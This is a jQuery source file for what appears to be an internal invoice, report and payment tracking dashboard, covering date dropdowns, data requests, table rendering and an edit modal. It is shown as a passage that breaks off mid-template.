let ALL_INVOICE_REPORTS_RESPONSE_MESSAGE;
let ALL_INVOICES_REPORTS_RESPONSE_JSON;
let PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_MESSAGE;
let PENDING_INVOICE_REPORTS_RESPONSE_MESSAGE;
let PENDING_INVOICES_REPORTS_RESPONSE_JSON_IN_OBJECT={};
// ---------------Excel upload---------------------

//----------------------pending Report-------
let PENDING_REPORT_SUBMISSIONS_ERROR_BUCKET_OBJECT={};
let PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_JSON_IN_OBJECT={};
let PENDING_REPORTS_SUBMITION_UPLOADED_EXCEL_JSON;
//---------pending inovoices--------------
let PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_JSON;
let PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_SITE_ALLOCATION_ARRAY=[];
let PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_INVOICE_DETAILS_ARRAY=[];
let PENDING_INVOICE_REPORTS_UPLOADED_EXCEL_UNIQUE_INVOICE_NUMBERS_ARRAY=[];
let ALREADY_EXISTING_INVOICES_IN_SERVER_JSON;

// -----pending payments global variable---
let PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_MESSAGE;
let PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_JSON_IN_OBJECT={};

let fromDateYear=FTA_APP_LAUNCHED_YEAR;//constant in main js file

// let currentYear=new Date().getFullYear();
// let yearValue= new Date().getFullYear();// current year
// let monthValue=getMonthName(new Date().getMonth());// current month   in common.js 
let currentYear = new Date().getFullYear();	
let nextYear = currentYear+1;	
let previousYear= currentYear-1;	
let currentMonth=new Date().getMonth()+1;	
let financialYearValue;	
if(currentMonth>3){	
    financialYearValue=currentYear+"-"+nextYear;	
}else{	
    financialYearValue=previousYear+"-"+currentYear;	
}	
let currentMonthName=getMonthName(new Date().getMonth());// current month   in common.js
let optionsYearUi='';
    for(let index=fromDateYear;index<=currentYear;index++){
        optionsYearUi+='<option value="'+index+'">'+index+'</option>';
    }
// $(".allInvoicesAndReports .invoiceReportForm select.year").html(optionsYearUi).val(yearValue);
// $(".allInvoicesAndReports .invoiceReportForm select.month").val(monthValue);
// $(".pendingInvoicesReports .invoiceReportForm select.year").html(optionsYearUi).val(yearValue);
// $(".pendingInvoicesReports .invoiceReportForm select.month").val(monthValue);
// $(".pendingPaymentDetails .invoiceReportForm select.year").html(optionsYearUi).val(yearValue);
// $(".pendingPaymentDetails .invoiceReportForm select.month").val(monthValue);
// $(".pendingReportsDetails .invoiceReportForm select.year").html(optionsYearUi).val(yearValue);
// $(".pendingReportsDetails .invoiceReportForm select.month").val(monthValue);

	let financialYearMonthData=get_financialYear_wise_year_month_obj(); // common.js	
    let updateSearchByDate_yearDropDown=()=>{	
        let optionTags='';	
        for(key in financialYearMonthData){     //also v can use Object.keys(financialYearMonthData); array	
            optionTags+=`<option value="${key}">${key}</option>`	
        }	
        $(".invoiceReportTabContent form.invoiceReportForm.searchByDate select.year").html(optionTags);	
    }	
    let updateSearchByDate_monthDropDown=(yearValue)=>{	
        let optionTags='';	
        financialYearMonthData[yearValue].forEach(function(value){	
            optionTags+=`<option value="${value}">${value}</option>`;	
        });	
        return optionTags;	
    }	
    updateSearchByDate_yearDropDown();	
    function get_financialYear_wise_year_month_obj(){	
        let startingYear=INVOICE_IMPLEMENTED_YEAR;//2022	
        let endingYear= new Date().getFullYear()+1;	
        let returnObj ={};	
        for(let year=startingYear; year<endingYear;year++){	
            let currentLoopYear=year;	
            let nextLoopYear=year+1;	
            let monthArray=["Financial Year",	
                            "April "+currentLoopYear,	
                            "May "+currentLoopYear,	
                            "June "+currentLoopYear,	
                            "July "+currentLoopYear,	
                            "August "+currentLoopYear,	
                            "September "+currentLoopYear,	
                            "October "+currentLoopYear,	
                            "November "+currentLoopYear,	
                            "December "+currentLoopYear,	
                            "January "+nextLoopYear,	
                            "February "+nextLoopYear, 	
                            "March "+nextLoopYear	
                            ];	
            returnObj[`${currentLoopYear}-${nextLoopYear}`]=monthArray;	
        }	
        return returnObj;	
    }	

$("#invoiceReportsBtn.sideNavtab, #invoiceReportsBtn_popover.sideNavtab").click(function(){
    if(!ALL_INVOICE_REPORTS_RESPONSE_MESSAGE){                                    // if already got response avoid re-request 
    // alert();
        $(".sideNavSiteVisitPart .subTabs .allRecentInvoiceReports").addClass('active');
         $("html .popover .popover-body .subTabs_popover .allRecentInvoiceReports").addClass('active');// popover subTabs
        $(".invoiceReportTabContent .tabSubContent").hide();
        $(".invoiceReportTabContent .tabSubContent.allInvoicesAndReports").show();
        $(`.allInvoicesAndReports form.invoiceReportForm.searchByDate button[type="submit"]`).trigger('click');
    }
});
$(".invoiceReportDiv .subTabs button").click(function(){
    $(".invoiceReportDiv .subTabs button").removeClass('active');
    $(this).addClass('active');
    let contentClassName=$(this).attr('data-id');
    $(".invoiceReportTabContent .tabSubContent").hide();
    $(".invoiceReportTabContent .tabSubContent."+contentClassName).show();
    checkForRequestNeedToSendOrNot(contentClassName);
    
});
$("html").on('click',' .popover .popover-body .subTabs_popover button', function(){
    $(".popover .popover-body .subTabs_popover button").removeClass("active");
    $(this).addClass('active');
    let contentClassName=$(this).attr('data-id');
    $(".invoiceReportTabContent .tabSubContent").hide();
    $(".invoiceReportTabContent .tabSubContent."+contentClassName).show();
    checkForRequestNeedToSendOrNot(contentClassName);
});
function checkForRequestNeedToSendOrNot(contentClassName){
    switch(contentClassName){
        case "pendingInvoicesReports":
            if(!PENDING_INVOICE_REPORTS_RESPONSE_MESSAGE){                             // if already got response avoid re-request 
                $(`.pendingInvoicesReports form.invoiceReportForm.searchByDate button[type="submit"]`).trigger('click');
            }            
            break;
        case "pendingPaymentDetails":
            if(!PENDING_PAYMENT_INVOICE_DETAILS_RESPONSE_MESSAGE){                     // if already got response avoid re-request 
                $(`.pendingPaymentDetails form.invoiceReportForm.searchByDate button[type="submit"]`).trigger('click');
            }            
            break;
        case "pendingReportsDetails":
            if(!PENDING_REPORTS_SUBMITION_DETAILS_RESPONSE_MESSAGE){                    // if already got response avoid re-request 
                $(`.pendingReportsDetails form.invoiceReportForm.searchByDate button[type="submit"]`).trigger('click');
            }
            break;
    }
}
$(".allInvoicesAndReports .searchByDropDown").on('change', function(){
    let searchByValue=$(this).val();
    $(".allInvoicesAndReports .invoiceReportForm").removeClass('d-flex active').addClass('d-none');
    $(".allInvoicesAndReports .invoiceReportForm.searchBy"+searchByValue).removeClass('d-none').addClass('d-flex active');
});
$(".allInvoicesAndReports .invoiceReportForm select.year").on('change', function(){	
    let selected_financialYear=$(this).val();	
    let optionTags=updateSearchByDate_monthDropDown(selected_financialYear);	
    $(".allInvoicesAndReports form.invoiceReportForm.searchByDate select.month").html(optionTags);	
});
$(".allInvoicesAndReports form.invoiceReportForm").submit(function(e){
    e.preventDefault();
    let obj =convertValuesToObject($(this).serializeArray());// in main_TL.js or main_Finance.js
    obj.searchBy=$(this).attr('data-reference');
    let postContent=JSON.stringify(obj);
    console.log(postContent);
    request_allInvoiceReports(postContent);
});

function request_allInvoiceReports(postContent){
    $(".allInvoicesAndReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-spinner fa-spin"></i>`);
    let clsObj=new Placeholder();
    let colLength=22;
    let placeHolderContent=clsObj.tablePlaceHolder(colLength);
    $("#allInvoiceReportsDetailsTable tbody").html(placeHolderContent);
    if(!checkWheatherLogoutOrNot_InternetConnection()){
        $(".allInvoicesAndReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
        $(".placeholder-glow").removeClass('placeholder-glow');
        alertNoInternet_connection();
    }else{
        // postContent
        let responseData= postDataHttpRequest('DashBoard/php/Invoices_Reports/All/getAll_InvoiceAndReportsDetails.php', postContent);
        responseData.then((result)=>{
            if(result.message=="SUCCESS"){
                ALL_INVOICE_REPORTS_RESPONSE_MESSAGE=result.message;
                console.log(result);
                constructAllInvoiceReportTable(result.responseDataArray);
                $(".allInvoicesAndReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-search"></i>`);
            }
        })
        .catch((error)=>{
            $(".allInvoicesAndReports .invoiceReportForm.active .submitBtn").html(`<i class="fas fa-undo"></i>`);
            $(".placeholder-glow").removeClass('placeholder-glow');
           console.log(error); 
        })
    }
}

function constructAllInvoiceReportTable(json){
    ALL_INVOICES_REPORTS_RESPONSE_JSON=json;
    if($.fn.DataTable.isDataTable('#allInvoiceReportsDetailsTable')){
        $('#allInvoiceReportsDetailsTable').DataTable().clear().destroy();
    }

    // let tableUI='';
    // json.forEach(function(obj, loopIndex){
    //     let paymentStatus="payment-status-pending";
    //     let tooltipTitle="Payment Pending";
    //     let editBtn=`<i class="fas fa-edit editBtn cursor-pointer" data-rowIndex="${loopIndex}" data-toggle="modal" data-target="#commonModalPopup"></i>`;
    //     if(obj.REMAINING_BALANCE_IF_ANY===0){
    //         paymentStatus="payment-status-done";
    //         tooltipTitle="Payment Completed";
    //         editBtn='--';
    //     }
    //     if(USER_DEPARTMENT==TL_DEPARTMENT && (obj.SITE_VISIT_STATUS=="Visit Pending" || obj.INVOICE_NUMBER!=null)){               // tl if report already submitted remove editing option
    //         editBtn='--';
    //     } 
    //     if(USER_DEPARTMENT==FINANCE_DEPARTMENT && (obj.REPORT_SUBMITED_TO_CUSTOMER_ON=="0000-00-00" || obj.REPORT_SUBMITED_TO_CUSTOMER_ON==null)){     //  finance if report pending  remove editin option
    //         editBtn='<span class="text-warning">Report Pending</span>';
    //     }
        
    //     tableUI+=`<tr class="trIndex${loopIndex}">
    //                 <td>${loopIndex+1}</td>
    //                 <td>${obj.SITE_ID}</td>
    //                 <td><span class="${paymentStatus}" data-toggle="Abbrevation_tooltip" title="${tooltipTitle} "></span></td>
    //                 <td>${obj.PROJECT}</td>
    //                 <td>${obj.STAGE_OF_AUDIT}</td>
    //                 <td>${obj.SITE_ASSIGNED_DATE}</td>
    //                 <td>${obj.SITE_ASSIGNED_TO_EMPID}</td>
    //                 <td>${obj.SITE_ASSIGNED_TO_EMP_NAME}</td>
    //                 <td>${obj.MANAGER_ID}</td>
    //                 <td>${obj.MANAGER_NAME}</td>
    //                 <td class="poNumberTd">${obj.PO_NUMBER}</td>
    //                 <td class="reportDateTd">${obj.REPORT_SUBMITED_TO_CUSTOMER_ON}</td>
    //                 <td class="reportRemarkTd"><textarea rows="1" class="form-control" readonly>${obj.REPORT_REMARK}</textarea></td>
    //                 <td class="invoiceRisedOnTd">${obj.INVOICE_RISED_ON}</td>
    //                 <td class="invoiceNumberTd">${obj.INVOICE_NUMBER}</td>
    //                 <td class="invoiceValueTd">${obj.INVOICE_VALUE}</td>
    //                 <td class="invoiceRemarksTd"><textarea rows="1" class="form-control" readonly>${obj.INVOICE_REMARK}</textarea></td>
    //                 <td class="paymentDateTd">${obj.PAYMENT_RECEIVED_ON}</td>
    //                 <td class="paymentValueTd">${obj.PAYMENT_RECEIVED_VALUE}</td>
    //                 <td class="paymentRemarkTd"><textarea rows="1" class="form-control" readonly>${obj.PAYMENT_REMARKS}</textarea></td>
    //                 <td class="remainingBalanceTd">${obj.REMAINING_BALANCE_IF_ANY}</td>
    //                 <td>${editBtn}</td>
    //              </tr>`;
                 
    //                 // <td> <span class="${(obj.SITE_VISIT_STATUS=="Visit Pending") ? "text-warning":"text-success "}">${obj.SITE_VISIT_STATUS}</span></td>
    // });
    // $("#allInvoiceReportsDetailsTable tbody").html(tableUI);
    // $("#allInvoiceReportsDetailsTable").DataTable({
    //                                                     dom:'lBfrtip',
    //                                                     buttons:['copy',{extend:'excelHtml5', title:'invoices and Report'},'print'],
    //                                                     scrollX: true,
    //                                                     //  stateSave: true,
    //                                                     autoWidth: false,
                                                        
    // });
    
    // let jsonNew={
    //     "tableData":json
    //   }
    let paymentStatus=(currentLoopObject)=>{
        if(currentLoopObject.REMAINING_BALANCE_IF_ANY===0){
            return `payment-status-done`;
        }else{
            return `payment-status-pending`; 
        }
    };
    let tooltipTitle=(currentLoopObject)=>{
        if(currentLoopObject.REMAINING_BALANCE_IF_ANY===0){
            return `Payment Completed`;
        }else{
            return `Payment Pending`; 
        }
    }
    let getEditBtn=(currentLoopObject, loopIndex)=>{
        let editBtn=`<i class="fas fa-edit editBtn cursor-pointer" data-rowIndex="${(loopIndex)}" data-toggle="modal" data-target="#commonModalPopup"></i>`;
            if(USER_DEPARTMENT==TL_DEPARTMENT && currentLoopObject.INVOICE_NUMBER!=null){   
                editBtn='--';
            }
            if(USER_DEPARTMENT==FINANCE_DEPARTMENT && (currentLoopObject.REPORT_SUBMITED_TO_CUSTOMER_ON=="0000-00-00" || currentLoopObject.REPORT_SUBMITED_TO_CUSTOMER_ON==null)){    
                editBtn='<span class="text-warning">Report Pending</span>';
            }
            if(currentLoopObject.REMAINING_BALANCE_IF_ANY===0){
                editBtn='--';
            }
        return editBtn;
    }
    
        let tableHeading =[
            {"data": "rowIndex", "title":"S.No",
                render:function(data, type, row, meta){
                    return meta.row +1;
                }
            },
            {"data": "SITE_ID", "title":"Site Id"},
            {"data": "", "title":"Status",
                render:function(data, type, row){
                    return `<span class="${paymentStatus(row)}" data-toggle="Abbrevation_tooltip" title="${tooltipTitle(row)} "></span>`
                }
            },
            {"data" : "PROJECT","title":"Project"},
            {"data" : "STAGE_OF_AUDIT","title":"StageOf Audit"},
            {"data" : "SITE_ASSIGNED_DATE","title":"siteVisit Date"},
            {"data" : "SITE_ASSIGNED_TO_EMPID","title":"EmpId"},
            {"data" : "SITE_ASSIGNED_TO_EMP_NAME","title":"EmpName"},
            {"data" : "MANAGER_ID","title":"TL Id"},
            {"data" : "MANAGER_NAME","title":"TL Name"},
            {"data" : "PO_NUMBER","title":"PONo"},
            {"data" : "REPORT_SUBMITED_TO_CUSTOMER_ON","title":"Report Date(yyyy-mm-dd)"},
            {"data" : "REPORT_REMARK","title":"Report Remarks",
                render:function(data){
                    return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`;
                }
            },
            {"data" : "INVOICE_RISED_ON","title":"Invoice Date(yyyy-mm-dd)"},
            {"data" : "INVOICE_NUMBER","title":"InVoiceNo"},
            {"data" : "INVOICE_VALUE","title":"Invoice Value"},
            {"data" : "INVOICE_REMARK","title":"Invoice Remarks",
                render:function(data){
                    return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`;
                }
            },
            {"data" : "PAYMENT_RECEIVED_ON","title":"Payment Date(yyyy-mm-dd)"},
            {"data" : "PAYMENT_RECEIVED_VALUE","title":"Payment Value"},
            {"data" : "PAYMENT_REMARKS","title":"Payment Remarks",
                render:function(data){
                    return `<textarea rows="1" class="form-control" readonly>${data}</textarea>`;
                }    
            },
            {"data" : "REMAINING_BALANCE_IF_ANY","title":"Balance"},
            {"data" : "", "title":"Edit",
                render:function(data, type, row, meta){
                    return getEditBtn(row, meta.row)
                }
            }
        ];
    $("#allInvoiceReportsDetailsTable").dataTable({
			columns: tableHeading,  // table heading
			data:json,              // table body
			dom:'lBfrtip',
            buttons:['copy',{extend:'excelHtml5', title:'invoices and Report'},'print'],
            scrollX: true,
            columnDefs: [
                {className: "poNumberTd", targets: 10 },
                {className: "reportDateTd" , targets:11},
                {className: "reportRemarkTd", targets:12},
                {className: "invoiceRisedOnTd", targets:13},
                {className:"invoiceNumberTd", targets:14},
                {className:"invoiceValueTd", targets:15},
                {className:"invoiceRemarksTd", targets:16},
                {className:"paymentDateTd", targets:17},
                {className:"paymentValueTd", targets:18},
                {className:"paymentRemarkTd", targets:19},
                {className:"remainingBalanceTd", targets:20}
                ],
            createdRow : function( row, data, dataIndex ) { // add class to ->table row(tr)
                 $(row).addClass(`trIndex${dataIndex}`);
            },
              //  stateSave: true,
            autoWidth: false
		});
  
}
$("#allInvoiceReportsDetailsTable").on('click','.editBtn', function(){
    let rowIndex=$(this).attr('data-rowIndex');
    let currentRowIndex=ALL_INVOICES_REPORTS_RESPONSE_JSON[rowIndex];
    $("#commonModalPopup .modal-dialog").html(getModalPopupUiContent(currentRowIndex, rowIndex));
    // console.log(currentRowIndex);
    
    
});

//automatically update Remaining Bal (invoice Val - payment Val)
$("#commonModalPopup .modal-dialog").on('change','#editPopUp_invoiceValue, #editPopUp_paymentReceivedValue', function(){
    let remainingVal=Number($("#editPopUp_invoiceValue").val())-Number($("#editPopUp_paymentReceivedValue").val());
    $("#editPopUp_remainingBalance").val(remainingVal);
});


//--------------------------------------autoFill btn  functionality-----------------------------------------
$("#commonModalPopup").on('change','#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo', function(){
    let value=$(this).val().replaceAll(" ","_");
        value= (isNaN(value) ? value.toUpperCase() : value);
    $(this).val(value);
    
});
$("#commonModalPopup .modal-dialog").on('click','#getInvoiceNoDetailsAutoFillBtn', function(){
        let invoiceNo=$("#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo").val();
        let validateInvoice=()=>{
            let error=false;
            if(checkInvalidFormate(invoiceNo)){
                $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").html('Required');
                $("#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo").addClass('border-danger');
                error=true;
            }else{
                $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").html('');
                $("#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo").removeClass('border-danger');
            }
            return error;
        }
        if(!validateInvoice()){
            $("#getInvoiceNoDetailsAutoFillBtn").html(`<i class="fa fa-spinner fa-spin"></i>`);
            let obj={};
                obj.invoiceNo=invoiceNo;
            let postContent=JSON.stringify(obj);
            let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/All/getInvoiceDetailsAutoFill.php', postContent);
                responseData.then((result)=>{
                    if(result.message=="SUCCESS"){
                        appendValuesToInvoiceDetailsModalPopup_EditWindow(result.responseDataArray);
                        if((result.responseDataArray).length<1){
                            $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").html("<span class='text-warning font-weight-bold'>Invoice details not Exits</span>");
                            $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").removeClass("d-none");
                        }
                         $("#getInvoiceNoDetailsAutoFillBtn").html(`Auto Fill`);
                    }else if(result.message=="FAILURE"){
                        $("#getInvoiceNoDetailsAutoFillBtn").html(`Retry <i class="fa fa-undo ml-2"></i>`);
                    }
                })
                .catch((error)=>{
                    console.log(error);
                    $("#getInvoiceNoDetailsAutoFillBtn").html(`Retry <i class="fa fa-undo ml-2"></i>`);
                })
        }
        
});
$("#commonModalPopup .modal-dialog").on('click','#changeInvoiceDetailsBtn', function(){
    $(this).hide();
    $("#getInvoiceNoDetailsAutoFillBtn").removeClass("d-none");
    $("#editPopUp_invoiceNo").attr('readonly',false);
    $("#editPopUp_invoiceRemarks").attr('required',true);
    $(".editPopUp_invoiceRemarks_div").removeClass("d-none");
});
// $("#commonModalPopup .modal-dialog").on('click', "#undoInvoiceDetailsBtn", function(){
//     $(this).addClass("d-none");
//     $("#changeInvoiceDetailsBtn").show();
//     $("#editPopUp_invoiceNo").attr('readonly',true);
//     $("#editPopUp_invoiceRemarks").attr('required',false);
//     $(".editPopUp_invoiceRemarks_div").addClass("d-none");
// });
 function appendValuesToInvoiceDetailsModalPopup_EditWindow(jsonData){
    $("#editPopUp_invoiceRaisedOn").val(jsonData.INVOICE_RISED_ON);
    $("#editPopUp_invoiceValue").val(jsonData.INVOICE_VALUE);
    $("#editPopUp_paymentReceivedOn").val(jsonData.PAYMENT_RECEIVED_ON);
    $("#editPopUp_paymentReceivedValue").val((jsonData.PAYMENT_RECEIVED_VALUE ? jsonData.PAYMENT_RECEIVED_VALUE:0));
    $("#editPopUp_paymentRemarks").val(jsonData.PAYMENT_REMARKS);
    $("#editPopUp_remainingBalance").val(jsonData.REMAINING_BALANCE_IF_ANY);
 }
//---------------------------------------------------end-------------------------

$("#commonModalPopup .modal-dialog").on('submit','#invoiceReportDetailsModalPopupForm', function(e){
    e.preventDefault();
    $("#invoiceReportDetailsModalPopupForm button[type='submit']").html('<span>Update</span><i class="fas fa-spinner fa-spin ml-2"></i>');
    let currentEditingJsonIndex=$(this).attr('data-rowIndex');
    let obj=convertValuesToObject($(this).serializeArray()); // in main_TL.js or main_Finance.js
    if(!requiredConditions(obj)){
    let postContent=JSON.stringify(obj);
    console.log(obj);
    let responseData=postDataHttpRequest('DashBoard/php/Invoices_Reports/All/updateInvoiceAndReportsDetails.php',postContent);
        responseData.then((result)=>{
            // console.log(result);
            if(result.message=="SUCCESS"){
                $("#invoiceReportDetailsModalPopupForm button[type='submit']").html('<span>Update</span>');
                $("#invoiceReportDetailsModalPopupForm .message").html('<span class="text-success">Succesfully Updated.</span>');
                onSuccesfullyUpdated_updateChangeInTable(currentEditingJsonIndex, obj);
            }else if(result.message=="FAILURE"){
                $("#invoiceReportDetailsModalPopupForm button[type='submit']").html('<span>Retry</span><i class="fas fa-undo ml-2"></i>');
                $("#invoiceReportDetailsModalPopupForm .message").html('<span class="text-danger">Error Unable to update</span>');
            }
        })
        .catch((error)=>{
            console.log(error);
            $("#invoiceReportDetailsModalPopupForm button[type='submit']").html('<span>Retry</span><i class="fas fa-undo ml-2"></i>');
            $("#invoiceReportDetailsModalPopupForm .message").html('<span class="text-danger">Error Unable to update</span>');
        })
    }else{
        $("#invoiceReportDetailsModalPopupForm button[type='submit']").html('<span>Update</span>');
        $("#invoiceReportDetailsModalPopupForm .message").html('');
    }
});
function requiredConditions(formObjectValues){
    let error=false;
    let validatePONumber=()=>{
        let poInvalid=checkInvalidFormate(formObjectValues.poNumber);
        if(poInvalid){
            $("#invoiceReportDetailsModalPopupForm .poRequiredMessage").removeClass('d-none');
            $("#invoiceReportDetailsModalPopupForm #editPopupPno").addClass('border-danger');
            error=true;
        }else{
            $("#invoiceReportDetailsModalPopupForm .poRequiredMessage").addClass('d-none');
            $("#invoiceReportDetailsModalPopupForm #editPopupPno").removeClass('border-danger');
        }
    }
    let validateInvoiceNumber=()=>{
        let invoiceNoInvalid=checkInvalidFormate(formObjectValues.invoiceNumber);
        if(invoiceNoInvalid){
            $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").html('Required');
            $("#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo").addClass('border-danger');
            error=true;
        }else{
            $("#invoiceReportDetailsModalPopupForm .invoiceRequiredMessage").html('');
            $("#invoiceReportDetailsModalPopupForm #editPopUp_invoiceNo").removeClass('border-danger');
        }
    }
    let setRequireConditionToPaymentDate_onPaymentReceivedValueUpdate=()=>{
        let paymentVal=formObjectValues.paymentReceivedValue;
        let paymentDate=formObjectValues.paymentReceivedOn;
        if(paymentVal>0 && (paymentDate=='' ||  paymentDate==undefined)){
            $("#invoiceReportDetailsModalPopupForm .paymentDateRequiredMessage").removeClass('d-none');
            $("#invoiceReportDetailsModalPopupForm #editPopUp_paymentReceivedOn").addClass('border-danger');
            error=true;   
        }else{
            $("#invoiceReportDetailsModalPopupForm .paymentDateRequiredMessage").addClass('d-none');
            $("#invoiceReportDetailsModalPopupForm #editPopUp_paymentReceivedOn").removeClass('border-danger');   
        }
    }
    
    if(USER_DEPARTMENT==TL_DEPARTMENT){
        validatePONumber();
        formObjectValues.department=TL_DEPARTMENT;//add department to Obj
    }else{
        validateInvoiceNumber();
        setRequireConditionToPaymentDate_onPaymentReceivedValueUpdate();    
        formObjectValues.department=FINANCE_DEPARTMENT; //add department to Obj
    }
    return error;
}

function onSuccesfullyUpdated_updateChangeInTable(index, currentUpdatedJsonObj){
    let tl_updateTableUi=()=>{
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .poNumberTd`).text(currentUpdatedJsonObj.poNumber);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .reportDateTd`).text(currentUpdatedJsonObj.reportDate);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .reportRemarkTd textarea`).val(currentUpdatedJsonObj.reportRemarks);
    }
    let finance_updateTableUi=()=>{
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .invoiceRisedOnTd`).text(currentUpdatedJsonObj.invoiceRaiseOn);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .invoiceNumberTd`).text(currentUpdatedJsonObj.invoiceNumber);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .invoiceValueTd`).text(currentUpdatedJsonObj.invoiceValue);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .invoiceRemarksTd`).text(currentUpdatedJsonObj.invoiceRemarks);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .paymentDateTd`).text(currentUpdatedJsonObj.paymentReceivedOn);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .paymentValueTd`).text(currentUpdatedJsonObj.paymentReceivedValue);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .paymentRemarkTd textarea`).val(currentUpdatedJsonObj.paymentRemarks);
        $(`#allInvoiceReportsDetailsTable .trIndex${index} .remainingBalanceTd`).text(currentUpdatedJsonObj.remainingBalance);
    }
    let tl_updateJson=()=>{
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].PO_NUMBER=currentUpdatedJsonObj.poNumber;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].REPORT_SUBMITED_TO_CUSTOMER_ON=currentUpdatedJsonObj.reportDate;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].REPORT_REMARK=currentUpdatedJsonObj.reportRemarks;
    }
    let finance_updateJson=()=>{
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].INVOICE_RISED_ON=currentUpdatedJsonObj.invoiceRaiseOn;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].INVOICE_NUMBER=currentUpdatedJsonObj.invoiceNumber;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].INVOICE_VALUE=currentUpdatedJsonObj.invoiceValue;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].INVOICE_REMARK=currentUpdatedJsonObj.invoiceRemarks;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].PAYMENT_RECEIVED_ON=currentUpdatedJsonObj.paymentReceivedOn;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].PAYMENT_RECEIVED_VALUE=currentUpdatedJsonObj.paymentReceivedValue;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].PAYMENT_REMARKS=currentUpdatedJsonObj.paymentRemarks;
        ALL_INVOICES_REPORTS_RESPONSE_JSON[index].REMAINING_BALANCE_IF_ANY=currentUpdatedJsonObj.remainingBalance;
    }
    if(USER_DEPARTMENT==FINANCE_DEPARTMENT){
        finance_updateTableUi();
        finance_updateJson();
    }else{
        tl_updateTableUi();
        tl_updateJson();
    }
}
function getModalPopupUiContent(currentEditingJson, currentEditingJsonIndex){
    // console.log(currentEditingJson);
    let conditionForReadOnlyInvoice_input=(invoiceNo)=>{
        if(invoiceNo!=null && invoiceNo!='null'){
            return 'readOnly';
        }
    }
    // let conditionForReadPONo_input=(poNo)=>{
    //     if(poNo!="Not Available" && poNo!="0"){
    //         return 'readOnly';
    //     }
    // }
    let tl_modalUi=`<div class="modal-content  px-4 w-75 m-auto bg-white section">
                    <form id="invoiceReportDetailsModalPopupForm" data-rowIndex="${currentEditingJsonIndex}">
                        <div class="modal-header d-block">
                            <div class="d-flex w-100 mb-2">
                                <h5 class="modal-title font-weight-bold text-center w-100">Invoices &amp; Reports </h5>
                                <button type="button" class="close" data-dismiss="modal"><span>x</span></button>
                            </div>
                            <div class="d-flex">
                                <table>
                                    <tbody>
                                        <tr><th>EmpName</th><td>: ${currentEditingJson.SITE_ASSIGNED_TO_EMP_NAME}</td></tr>
                                        <tr><th>EmpId</th><td>: <input type="text" class="border-0 bg-white" value="${currentEditingJson.SITE_ASSIGNED_TO_EMPID}" name='empId' readonly/></td></tr> 
                                        <tr><th>SiteId</th><td>: <input type="text" class="border-0 bg-white" value="${currentEditingJson.SITE_ID}" name="siteId" readonly/></td></tr>  
                                    </tbody>
                                </table>
                                <table  class="ml-5">
                                    <tbody>
                                        <tr><th>Site Visited Date</th><td>: <input type="date" class="border-0 bg-white" value="${currentEditingJson.SITE_ASSIGNED_DATE}" name="siteVisitDate" readonly /></td></tr>
                                        <tr><th>Project</th><td>: ${currentEditingJson.PROJECT}</td></tr>
                                        <tr><th>Stage Of Audit</th><td>: ${currentEditingJson.STAGE_OF_AUDIT}</td></tr>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                        <div class="modal-body">
                            <div class="row">
                                <div class="col-md-4">
                                    <label for="editPopUp_Pno" class="form-label font-weight-bold">P.O Number:</label>
                                    <input type="text" id="editPopupPno" value="${currentEditingJson.PO_NUMBER}" class="form-control" name="poNumber" placeholder="Enter PO Number"required/>
                                    <span class="text-danger ml-1 d-none poRequiredMessage">Required</span>
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_ReportSubmittedToCustomerOn" class="form-label font-weight-bold">Report Submitted To Customer On:</label>
                                    <input type="date" value="${currentEditingJson.REPORT_SUBMITED_TO_CUSTOMER_ON}" id="editPopUp_ReportSubmittedToCustomerOn" class="form-control" name="reportDate" required />
                                </div>
                                <div class="col-md-4">
                                    <label for="editPopUp_ReportRemark" class="form-label font-weight-bold">Report Remarks:</label>
                                    <textarea rows="1"  id="editPopUp_ReportRemark" class="form-control" placeholder="Enter Report Remarks" name="reportRemarks">${currentEditingJson.REPORT_REMARK}</textarea>
                                </div>
                            </div>
                        </div>
                        <div class="modal-footer">
                            <p class="message mr-auto"></p>
                            <button type="submit" class="btn btn-theme-type1" style="width:16%">Update</button>
                            <button type="button" class="btn btn-theme-type3" data-dismiss="modal" style="width:16%">Close</button>
                        </div>
                    </form>
                </div>`;
                
    let finance_modalUi=`<div class="modal-content  px-4 w-75 m-auto bg-white section">
